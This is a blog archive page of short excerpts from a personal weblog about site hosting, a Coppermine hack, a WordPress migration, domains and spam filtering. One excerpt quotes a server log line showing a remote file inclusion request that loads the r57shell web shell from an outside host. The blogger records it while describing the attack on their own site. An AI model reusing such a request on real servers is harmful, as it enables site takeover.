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LifestreamCdpuvbhfzz! What do you know, Coppermine was the subject of a mass hacker attack. Again. It is described in more detail here. I suppose I could be faulted for not upgrading, but honestly, I was only like a week behind on upgrades and Coppermine isn’t the sort of script where one can expect upgrades. So [...]
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Following the Registerfly implosion and loss of ICANN accreditation some 850.000 domain names were relocated to GoDaddy. So far I haven’t done much about it. I have all my domains at GoDaddy nowadays, despite their dismal track record. I don’t trust them, but who can you trust in the domain business, especially seeing as you [...]
I have to admit I was more than a little surprised to see Microsoft enter into the domain of weblog desktop clients last year. First with Windows Live Writer and later with Office (Word) 2007. Initially I was unimpressed, probably because I’m used to manual editing as opposed to WYSIWYG, but I soon came to see the [...]
All sites are now running WordPress 2.1 and commenting as well as pingback have been disabled. All sites are now equipped with a consistent navigation “ribbon” at the top of each page to enable new as well as old visitors to find their way around regardless of where they start out. Next up: Old, personal [...]
Moving content from Nucleus to WordPress presented a number of problems. Some due to my own recklessness and lack of foresight, many due to the structural differences between the two content managers and some because of limitations or quirks in WordPress (yes, really). I’m not exactly new to WordPress, but moving such a diverse content [...]
So here is the deal from now on. I got fed up with Nucleus and the lack of updates and consideration for new features. That is to say, the developers didn’t care a whit for my suggestions on cherry picking WordPress features such as configurable permalinks and seemed more interested in producing a ‘skinable’ admin [...]
Recent events have forced me to seriously reconsider the current arrangement. This journal, the scripting and the commenting function in particular. In all likelihood I will actively migrate this Nucleus journal to WordPress over the weekend. And deactivate commenting pending a full review. Rebutting the retards who insist on commenting here is just too much [...]
As pretty much the last person in the world I signed up for a Google Mail (“Gmail”) account. I’m still not convinced of the brilliance of web mail. There are serious privacy concerns for instance. And web mail is at its best when constantly on the move and needing to read and write emails from [...]
Seems that some clever hacker managed to abuse an unforeseen vulnerability in /core/pdf.php (CVS) and run external code (like r57shell). All in all extra annoying since I wasn’t even using PDF export in the first place. The log reveals the following pattern (pardon the formatting) … [code]72.20.3.58 - - [29/Sep/2006:15:59:46 +0200] "POST /movies/core/pdf.php?config[pdf_module]= http://membres.lycos.fr/uid/r57en.txt? HTTP/1.1" [...]
Being generally weary of the spam I’ve started to receive, and having exhausted about every other option, I had to switch on SpamAssassin for the server. It is a radical and risky move but Thunderbird just couldn’t manage to sort out the inbox spam despite extensive training. Does it produce false positives? Sure. But I [...]
